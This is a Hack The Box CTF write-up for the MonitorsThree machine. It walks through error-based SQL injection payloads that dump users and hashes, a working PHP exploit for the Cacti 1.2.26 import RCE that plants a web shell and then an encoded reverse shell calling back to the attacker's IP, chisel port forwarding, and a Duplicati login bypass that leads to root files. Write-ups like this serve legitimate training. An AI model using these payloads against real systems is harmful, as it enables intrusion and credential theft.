# HTB • CTF • MonitorsThree • Write-Up

> Hack The Box MonitorsThree: error-based SQLi to admin, Cacti RCE for foothold, Duplicati auth bypass, and a Docker volume misconfiguration to escape to root.

Author: Elnur Badalov
Published: 2024-08-27
Updated: 2024-08-27
Tags: ctf
Source: https://elnurbda.com/posts/30-htb-ctf-monitorsthree/
License: CC BY 4.0, please cite the source URL.

---

# Info

CTF URL: <https://app.hackthebox.com/machines/MonitorsThree>

IP: 10.10.11.30

Difficulty: <span style="color: yellow;background:rgb(30, 44, 60);">`Medium`</span>

# Reconnaissance

## NMAP

```bash
nmap -p- -sS -sC -sV 10.10.11.30 -v --min-rate 10000

PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Adding `monitorsthree.htb` to hosts file.

## WEB

Looking Passively, there is a login form and forgot password form.

### Dir

Additionally there is an admin directory.

```bash
dirsearch -u http://monitorsthree.htb/
# result
/admin - 403
```

### Subdomain

```bash
gobuster vhost -u monitorsthree.htb  -w /usr/share/wordlists/dirb/big.txt   --append-domain
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]

```

add it to `/etc/hosts` too

### SQLi

After trying `'` to login and forgot password forms, SQLi found:
![_](/assets/30-htb-ctf-monitorsthree/sqli.png)

# SQLi

Error Based SQLi

- `'` - gives error
- `' union select 1 -- -` - gives error about column number
- `' union select 1,1,1,1,1,1,1,1,1 -- -` - number of columns is 9
- Extracting data via visible error messages
  - `SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))` - works
  - The Payload: `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 1)))) -- -`
- `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1,1)))) -- -` get tables one by one. To get the next - `...LIMIT 2,1)))) -- -`
- `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT GROUP_CONCAT(table_name SEPARATOR ', ') AS all_tables FROM information_schema.tables)))) -- -` get all tables
  - Problem - Error message is not returning all `:(`, So one by one
- There is `monitorsthree_db` db, maybe it contains smth
- `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables WHERE table_schema = 'monitorsthree_db' LIMIT 5,1)))) -- -` - get tables one by one
  - `users`
- To get column names `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns WHERE table_schema = 'monitorsthree_db'   AND table_name = 'users' LIMIT 1,1)))) -- -`
  - username
  - email
  - password
  - name
  - position
  - dob
  - start_date
  - salary
- `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT username FROM monitorsthree_db.users LIMIT 1,1)))) -- -` get usernames one by one. And it works!
  - `admin`
  - `dthompson`
  - `janderson`
  - `mwatson`
- `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM monitorsthree_db.users LIMIT 1,1)))) -- -` get password hashes one by one.
  - `31a181c8372e3afc59dab8634306...`
  - `c585d01f2eb3e6e1073e92023088...`
  - `1e68b6eb86b45f6d92f8f292428f...`
  - `633b683cc128fe244b00f176c8a9...`
- `' union select 1,1,1,1,1,1,1,1,(SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT SUBSTRING(password, -10) FROM monitorsthree_db.users LIMIT 1,1)))) -- -` get last 10 chars of password hashes
  - `63430610e8`
  - `023088a3dd`
  - `92428f77ac`
  - `76c8a950f5`
    So resulting hashes

```hashes
31a181c8372e3afc59dab863430610e8
c585d01f2eb3e6e1073e92023088a3dd
1e68b6eb86b45f6d92f8f292428f77ac
633b683cc128fe244b00f176c8a950f5
```

crackstation result:

- `greencacti2001`

First found credentials!

| username | password       |
| -------- | -------------- |
| admin    | greencacti2001 |

# RCE

The credentials allow login on `cacti.monitorsthree.htb`. The platform is Cacti `Version 1.2.26`.

- <https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88>
  My payload

```php
<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php system(\$_GET[\"cmd\"]);?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
```

```bash
vim exp.php
php exp.php
```

Then
![_](/assets/30-htb-ctf-monitorsthree/importpack.png)
select the `test.xml.gz` and import it. Then navigate to `resource/test.php`
![_](/assets/30-htb-ctf-monitorsthree/phpcmd.png)

but it gets deleted fast.
Let's modify payload for reverse shell. I added base64 encoded Pentest Monkey reverse shell. (<https://www.revshells.com/>)

```php
<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$encoded_filedata = "PD9waHAKLy8gcGhwLXJldmVyc2Utc2hlbGwgLSBBIFJldmVyc2UgU2hlbGwgaW1wbGVtZW50YXRpb24gaW4gUEhQLiBDb21tZW50cyBzdHJpcHBlZCB0byBzbGltIGl0IGRvd24uIFJFOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcGVudGVzdG1vbmtleS9waHAtcmV2ZXJzZS1zaGVsbC9tYXN0ZXIvcGhwLXJldmVyc2Utc2hlbGwucGhwCi8vIENvcHlyaWdodCAoQykgMjAwNyBwZW50ZXN0bW9ua2V5QHBlbnRlc3Rtb25rZXkubmV0CgpzZXRfdGltZV9saW1pdCAoMCk7CiRWRVJTSU9OID0gIjEuMCI7CiRpcCA9ICcxMC4xMC4xNC40JzsKJHBvcnQgPSAxMjM0OwokY2h1bmtfc2l6ZSA9IDE0MDA7CiR3cml0ZV9hID0gbnVsbDsKJGVycm9yX2EgPSBudWxsOwokc2hlbGwgPSAndW5hbWUgLWE7IHc7IGlkOyAvYmluL2Jhc2ggLWknOwokZGFlbW9uID0gMDsKJGRlYnVnID0gMDsKCmlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkgewoJJHBpZCA9IHBjbnRsX2ZvcmsoKTsKCQoJaWYgKCRwaWQgPT0gLTEpIHsKCQlwcmludGl0KCJFUlJPUjogQ2FuJ3QgZm9yayIpOwoJCWV4aXQoMSk7Cgl9CgkKCWlmICgkcGlkKSB7CgkJZXhpdCgwKTsgIC8vIFBhcmVudCBleGl0cwoJfQoJaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSB7CgkJcHJpbnRpdCgiRXJyb3I6IENhbid0IHNldHNpZCgpIik7CgkJZXhpdCgxKTsKCX0KCgkkZGFlbW9uID0gMTsKfSBlbHNlIHsKCXByaW50aXQoIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuICBUaGlzIGlzIHF1aXRlIGNvbW1vbiBhbmQgbm90IGZhdGFsLiIpOwp9CgpjaGRpcigiLyIpOwoKdW1hc2soMCk7CgovLyBPcGVuIHJldmVyc2UgY29ubmVjdGlvbgokc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsKaWYgKCEkc29jaykgewoJcHJpbnRpdCgiJGVycnN0ciAoJGVycm5vKSIpOwoJZXhpdCgxKTsKfQoKJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCiAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAgLy8gc3RkaW4gaXMgYSBwaXBlIHRoYXQgdGhlIGNoaWxkIHdpbGwgcmVhZCBmcm9tCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgLy8gc3Rkb3V0IGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvCiAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpICAgLy8gc3RkZXJyIGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvCik7CgokcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCmlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CglwcmludGl0KCJFUlJPUjogQ2FuJ3Qgc3Bhd24gc2hlbGwiKTsKCWV4aXQoMSk7Cn0KCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOwoKcHJpbnRpdCgiU3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICRpcDokcG9ydCIpOwoKd2hpbGUgKDEpIHsKCWlmIChmZW9mKCRzb2NrKSkgewoJCXByaW50aXQoIkVSUk9SOiBTaGVsbCBjb25uZWN0aW9uIHRlcm1pbmF0ZWQiKTsKCQlicmVhazsKCX0KCglpZiAoZmVvZigkcGlwZXNbMV0pKSB7CgkJcHJpbnRpdCgiRVJST1I6IFNoZWxsIHByb2Nlc3MgdGVybWluYXRlZCIpOwoJCWJyZWFrOwoJfQoKCSRyZWFkX2EgPSBhcnJheSgkc29jaywgJHBpcGVzWzFdLCAkcGlwZXNbMl0pOwoJJG51bV9jaGFuZ2VkX3NvY2tldHMgPSBzdHJlYW1fc2VsZWN0KCRyZWFkX2EsICR3cml0ZV9hLCAkZXJyb3JfYSwgbnVsbCk7CgoJaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgewoJCWlmICgkZGVidWcpIHByaW50aXQoIlNPQ0sgUkVBRCIpOwoJCSRpbnB1dCA9IGZyZWFkKCRzb2NrLCAkY2h1bmtfc2l6ZSk7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSzogJGlucHV0Iik7CgkJZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsKCX0KCglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgewoJCWlmICgkZGVidWcpIHByaW50aXQoIlNURE9VVCBSRUFEIik7CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzFdLCAkY2h1bmtfc2l6ZSk7CgkJaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RET1VUOiAkaW5wdXQiKTsKCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7Cgl9CgoJaWYgKGluX2FycmF5KCRwaXBlc1syXSwgJHJlYWRfYSkpIHsKCQlpZiAoJGRlYnVnKSBwcmludGl0KCJTVERFUlIgUkVBRCIpOwoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOwoJCWlmICgkZGVidWcpIHByaW50aXQoIlNUREVSUjogJGlucHV0Iik7CgkJZndyaXRlKCRzb2NrLCAkaW5wdXQpOwoJfQp9CgpmY2xvc2UoJHNvY2spOwpmY2xvc2UoJHBpcGVzWzBdKTsKZmNsb3NlKCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKCmZ1bmN0aW9uIHByaW50aXQgKCRzdHJpbmcpIHsKCWlmICghJGRhZW1vbikgewoJCXByaW50ICIkc3RyaW5nXG4iOwoJfQp9Cgo/Pg==";
$filedata = base64_decode($encoded_filedata);
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
```

```bash
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.30] 53766
Linux monitorsthree 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 06:44:37 up 11:15,  0 users,  load average: 0.05, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1196): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:/$
```

Voila, the shell!

Shell Stabilization.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# ctrl+z
stty raw -echo; fg
```

# PrivEsc

## Recon

### opt Folder

#### Docker Compose File

`/opt/docker-compose.yml`

```yaml
version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped
```

It works on 8200

#### Duplicati's Config

In `/opt/duplicati/config`

```bash
drwxr-xr-x 3 root root    4096 Aug 18 08:00 .config
-rw-r--r-- 1 root root 2461696 Aug 26 19:29 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root   90112 Aug 26 19:30 Duplicati-server.sqlite
drwxr-xr-x 2 root root    4096 Aug 18 08:00 control_dir_v2
```

let's transfer them to attack machine for further review.

##### `CTADPNHLTC.sqlite`

```sql
sqlite> .table
Block              Configuration      Fileset            Operation
BlocklistHash      DeletedBlock       FilesetEntry       PathPrefix
Blockset           DuplicateBlock     IndexBlockLink     RemoteOperation
BlocksetEntry      File               LogData            Remotevolume
ChangeJournalData  FileLookup         Metadataset        Version
```

Nothing interesting.

##### `Duplicati-server.sqlite`

```sql
sqlite> .table
Backup        Log           Option        TempFile
ErrorLog      Metadata      Schedule      UIStorage
Filter        Notification  Source        Version

sqlite> select * from Option;
...
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|32165ca2-53db-4629-bd60-4356ebe04f50
-2||server-passphrase-trayicon-hash|dbRBhuyod7M7xJrfMIE6b+8+59g8H5CUf4W2jFgkfHo=
...
```

Noted.

### Users

```bash
ls -al /home
drwxr-x---  4 marcus marcus 4096 Aug 16 11:35 marcus
```

### Network

#### Network Interfaces

```bash
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:53:b4 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.30/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: br-c7b83e1b07b0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:fa:df:1c:fa brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-c7b83e1b07b0
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:a6:ab:25:46 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: vethad6ba12@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-c7b83e1b07b0 state UP group default
    link/ether 42:eb:ef:1f:7f:5b brd ff:ff:ff:ff:ff:ff link-netnsid 0
```

#### Open Internal Ports

```bash
ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*
tcp   LISTEN 0      70         127.0.0.1:3306       0.0.0.0:*
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*    users:(("nginx",pid=1300,fd=6),("nginx",pid=1299,fd=6))
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:38637      0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:8200       0.0.0.0:*
tcp   LISTEN 0      500          0.0.0.0:8084       0.0.0.0:*    users:(("mono",pid=1241,fd=5))
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      511             [::]:80            [::]:*    users:(("nginx",pid=1300,fd=7),("nginx",pid=1299,fd=7))
tcp   LISTEN 0      128             [::]:22            [::]:*
```

#### Port Forward with Chisel

- <https://github.com/jpillora/chisel/releases>

```bash
# on attack machine
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
gunzip chisel_1.10.0_linux_amd64.gz
chmod +x chisel_1.10.0_linux_amd64
python3 -m http.server 5555
# on victim machine
cd /tmp
wget http://10.10.14.4:5555/chisel_1.10.0_linux_amd64
chmod +x chisel_1.10.0_linux_amd64
```

Then Port Forward

```bash
# on kali
./chisel_1.10.0_linux_amd64 server --socks5 --reverse -p 3333
# on victim
./chisel_1.10.0_linux_amd64 client 10.10.14.4:3333 R:8200:127.0.0.1:8200
```

## Duplicati

After Port Forwarding the service is available on `127.0.0.1:8200` on attack machine.

### Auth Bypass

I has a password form. At `http://127.0.0.1:8200/login/login.js`, it has script for login:

```js
$(document).ready(function () {
  var processing = false;

  $("#login-button").click(function () {
    if (processing) return;

    processing = true;

    // First we grab the nonce and salt
    $.ajax({
      url: "./login.cgi",
      type: "POST",
      dataType: "json",
      data: { "get-nonce": 1 },
    })
      .done(function (data) {
        var saltedpwd = CryptoJS.SHA256(
          CryptoJS.enc.Hex.parse(
            CryptoJS.enc.Utf8.parse($("#login-password").val()) +
              CryptoJS.enc.Base64.parse(data.Salt)
          )
        );

        var noncedpwd = CryptoJS.SHA256(
          CryptoJS.enc.Hex.parse(
            CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd
          )
        ).toString(CryptoJS.enc.Base64);

        $.ajax({
          url: "./login.cgi",
          type: "POST",
          dataType: "json",
          data: { password: noncedpwd },
        })
          .done(function (data) {
            window.location = "./";
          })
          .fail(function (data) {
            var txt = data;
            if (txt && txt.statusText) txt = txt.statusText;
            alert("Login failed: " + txt);
            processing = false;
          });
      })
      .fail(function (data) {
        var txt = data;
        if (txt && txt.statusText) txt = txt.statusText;

        alert("Failed to get nonce: " + txt);
        processing = false;
      });
    return false;
  });
});
```

We need to bypass it.

- <https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee>

Following guide from the article:

- "_Server-passphrase from DB > From Base64 > then Convert it to Hex ( Using CyberChef )_"
  - `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` - Server passphrase
  - `59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a` - the hex of it
- Grab Nonce
  - in Burp, intercept the request after submit. Then Do Intercept. There will be Nonce value.

```js
var noncedpwd = CryptoJS.SHA256(
  CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)
).toString(CryptoJS.enc.Base64);
// replace data.Nonce with the Nonce
// replace saltedpwd with the server path
var noncedpwd = CryptoJS.SHA256(
  CryptoJS.enc.Hex.parse(
    CryptoJS.enc.Base64.parse("5IC8x9DYT2OO0PIeiCRanv2wcde8XAQWdGJ+NiI7C2o=") +
      "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a"
  )
).toString(CryptoJS.enc.Base64);
```

The resulting `noncepwd` we got: `nR8vJKUQatDouT39VNqq6lYAQVYgu/E5J1zpSiFtCSQ=`.

- Finally, in Burp, in the request that sends password, change the value with `noncepwd`
  ![_](/assets/30-htb-ctf-monitorsthree/duplicati.png)

### In the Duplicati

In the Duplicati we can browse all files and directories. The directory under `/source` is the root directory of the machine.

So, I backed up `/source/root` and `/source/home` directories. With no encryption. Destination is `/source/tmp`. Run it now. Then restore the files
![_](/assets/30-htb-ctf-monitorsthree/backup.png)
choose the files
![_](/assets/30-htb-ctf-monitorsthree/restore.png)
choose location as `/source/tmp`
![_](/assets/30-htb-ctf-monitorsthree/restoredest.png)

# Get Flags

```bash
www-data@monitorsthree:/tmp$ cat root/root.txt
ff5b390e92019754f98fae92801d80e2
www-data@monitorsthree:/tmp$ cat home/marcus/user.txt
87ee7cf47c5e38fb4673c30542500349
```

# Result

- <https://www.hackthebox.com/achievement/machine/1349385/622>